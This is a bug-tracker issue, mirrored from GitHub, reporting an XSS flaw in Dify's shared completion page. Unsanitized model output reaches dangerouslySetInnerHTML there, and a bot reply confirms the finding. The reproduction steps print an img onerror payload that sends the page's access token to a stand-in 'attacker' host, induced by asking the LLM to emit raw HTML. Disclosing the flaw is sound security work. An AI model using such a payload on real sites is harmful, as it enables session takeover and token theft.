XSS in shared completion page allows token theft via unsafe HTML rendering #20560

Closed
opened 2026-02-21 20:07:57 -05:00 by yindo · 2 comments
Owner

Originally created by @lyzno1 on GitHub (Nov 25, 2025).

Self Checks

  • I have read the Contributing Guide and Language Policy.
  • This is only for bug report, if you would like to ask a question, please head to Discussions.
  • I have searched for existing issues search for existing issues, including closed ones.
  • I confirm that I am using English to submit this report, otherwise it will be closed.
  • 【中文用户 & Non English User】请使用英语提交,否则会被关闭 :)
  • Please do not modify this template :) and fill in all the required fields.

Dify version

main (commit 0f521b26ae)

Cloud or Self Hosted

  • Self Hosted (Source)

Steps to reproduce

  1. Open a shared completion page (e.g., /completion/{token}) in the web app.
  2. Ask the model to return raw HTML such as <img src=x onerror="fetch('https://attacker/?t='+localStorage.getItem('dify_web_app_access_token'))">.
  3. When the response renders on the shared page, the HTML is injected via dangerouslySetInnerHTML (no sanitization) and executes.
  4. Observe that the payload can read localStorage and exfiltrate the web app access token/passport used for Authorization headers in subsequent API calls.

✔️ Expected Behavior

Model output should be safely rendered (escaped/sanitized Markdown) so that arbitrary HTML/JS cannot execute, preventing token theft.

Actual Behavior

Raw HTML from the model is injected into the DOM on the shared result view without sanitization. Event handlers (e.g., onerror) run in the page context and can steal the web app access token from localStorage, leading to account/session takeover for the shared app.

Originally created by @lyzno1 on GitHub (Nov 25, 2025). ### Self Checks - [x] I have read the [Contributing Guide](https://github.com/langgenius/dify/blob/main/CONTRIBUTING.md) and [Language Policy](https://github.com/langgenius/dify/issues/1542). - [x] This is only for bug report, if you would like to ask a question, please head to [Discussions](https://github.com/langgenius/dify/discussions/categories/general). - [x] I have searched for existing issues [search for existing issues](https://github.com/langgenius/dify/issues), including closed ones. - [x] I confirm that I am using English to submit this report, otherwise it will be closed. - [x] 【中文用户 & Non English User】请使用英语提交,否则会被关闭 :) - [x] Please do not modify this template :) and fill in all the required fields. ### Dify version main (commit 0f521b26aeb03e9f584f4b71a61e37fb709bf601) ### Cloud or Self Hosted - Self Hosted (Source) ### Steps to reproduce 1. Open a shared completion page (e.g., `/completion/{token}`) in the web app. 2. Ask the model to return raw HTML such as `<img src=x onerror="fetch('https://attacker/?t='+localStorage.getItem('dify_web_app_access_token'))">`. 3. When the response renders on the shared page, the HTML is injected via `dangerouslySetInnerHTML` (no sanitization) and executes. 4. Observe that the payload can read `localStorage` and exfiltrate the web app access token/passport used for Authorization headers in subsequent API calls. ### ✔️ Expected Behavior Model output should be safely rendered (escaped/sanitized Markdown) so that arbitrary HTML/JS cannot execute, preventing token theft. ### ❌ Actual Behavior Raw HTML from the model is injected into the DOM on the shared result view without sanitization. Event handlers (e.g., `onerror`) run in the page context and can steal the web app access token from `localStorage`, leading to account/session takeover for the shared app.
yindo added the 🐞 bug label 2026-02-21 20:07:57 -05:00
yindo closed this issue 2026-02-21 20:07:57 -05:00
Author
Owner

@lyzno1 commented on GitHub (Nov 25, 2025):

@dosu validate

@lyzno1 commented on GitHub (Nov 25, 2025): @dosu validate
Author
Owner

@dosubot[bot] commented on GitHub (Nov 25, 2025):

The reported XSS vulnerability in the shared completion page is valid. The component responsible for rendering model output uses React's dangerouslySetInnerHTML to inject HTML into the DOM without any sanitization or escaping. The injected content is only processed by a format function that does not sanitize or escape HTML/JavaScript, making it possible for malicious scripts (such as <img onerror=...>) to execute in the page context and access localStorage, including sensitive tokens like dify_web_app_access_token. This allows for the described token theft scenario and confirms the exploit is possible in the current codebase (source).

To reply, just mention @dosu.


How did I do? Good | Irrelevant | Incorrect | Verbose | Hallucination | Report 🐛 | Other

Chat with Dosu Open in Cursor Join Discord Share on X

@dosubot[bot] commented on GitHub (Nov 25, 2025): <!-- Answer --> The reported XSS vulnerability in the shared completion page is valid. The component responsible for rendering model output uses React's `dangerouslySetInnerHTML` to inject HTML into the DOM without any sanitization or escaping. The injected content is only processed by a `format` function that does not sanitize or escape HTML/JavaScript, making it possible for malicious scripts (such as `<img onerror=...>`) to execute in the page context and access `localStorage`, including sensitive tokens like `dify_web_app_access_token`. This allows for the described token theft scenario and confirms the exploit is possible in the current codebase ([source](https://github.com/langgenius/dify/blob/0f521b26aeb03e9f584f4b71a61e37fb709bf601/web/app/components/share/text-generation/result/content.tsx#L5-L34)). <!-- Dosu Comment Footer --> *To reply, just mention [@dosu](https://go.dosu.dev/dosubot).* --- <sup>How did I do? [Good](https://app.dosu.dev/response-feedback/09ff30d8-b28b-470c-9321-8822a102869b?feedback_type=great_response) | [Irrelevant](https://app.dosu.dev/response-feedback/09ff30d8-b28b-470c-9321-8822a102869b?feedback_type=irrelevant_answer) | [Incorrect](https://app.dosu.dev/response-feedback/09ff30d8-b28b-470c-9321-8822a102869b?feedback_type=incorrect_sources) | [Verbose](https://app.dosu.dev/response-feedback/09ff30d8-b28b-470c-9321-8822a102869b?feedback_type=too_verbose) | [Hallucination](https://app.dosu.dev/response-feedback/09ff30d8-b28b-470c-9321-8822a102869b?feedback_type=hallucination) | [Report 🐛](https://app.dosu.dev/response-feedback/09ff30d8-b28b-470c-9321-8822a102869b?feedback_type=bug_report) | [Other](https://app.dosu.dev/response-feedback/09ff30d8-b28b-470c-9321-8822a102869b?feedback_type=other)</sup> [![Chat with Dosu](https://dosu.dev/dosu-chat-badge.svg)](https://app.dosu.dev/6088a4f4-073a-43f3-b3d4-4f06fb0c05a0/ask?utm_source=github)&nbsp;[![Open in Cursor](https://dosu.dev/dosu-in-cursor.svg)](https://cursor.com/link/prompt?text=The%20reported%20XSS%20vulnerability%20in%20the%20shared%20completion%20page%20is%20valid.%20The%20component%20responsible%20for%20rendering%20model%20output%20uses%20React%27s%20%60dangerouslySetInnerHTML%60%20to%20inject%20HTML%20into%20the%20DOM%20without%20any%20sanitization%20or%20escaping.%20The%20injected%20content%20is%20only%20processed%20by%20a%20%60format%60%20function%20that%20does%20not%20sanitize%20or%20escape%20HTML/JavaScript%2C%20making%20it%20possible%20for%20malicious%20scripts%20%28such%20as%20%60%3Cimg%20onerror%3D...%3E%60%29%20to%20execute%20in%20the%20page%20context%20and%20access%20%60localStorage%60%2C%20including%20sensitive%20tokens%20like%20%60dify_web_app_access_token%60.%20This%20allows%20for%20the%20described%20token%20theft%20scenario%20and%20confirms%20the%20exploit%20is%20possible%20in%20the%20current%20codebase%20%28%5Bsource%5D%28https%3A//github.com/langgenius/dify/blob/0f521b26aeb03e9f584f4b71a61e37fb709bf601/web/app/components/share/text-generation/result/content.tsx%23L5-L34%29%29.)&nbsp;[![Join Discord](https://img.shields.io/badge/join-5865F2?logo=discord&logoColor=white&label=)](https://go.dosu.dev/discord-bot)&nbsp;[![Share on X](https://img.shields.io/badge/X-share-black)](https://twitter.com/intent/tweet?text=%40dosu_ai%20helped%20me%20solve%20this%20issue!&url=https%3A//github.com/langgenius/dify/issues/28676)
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: langgenius/dify#20560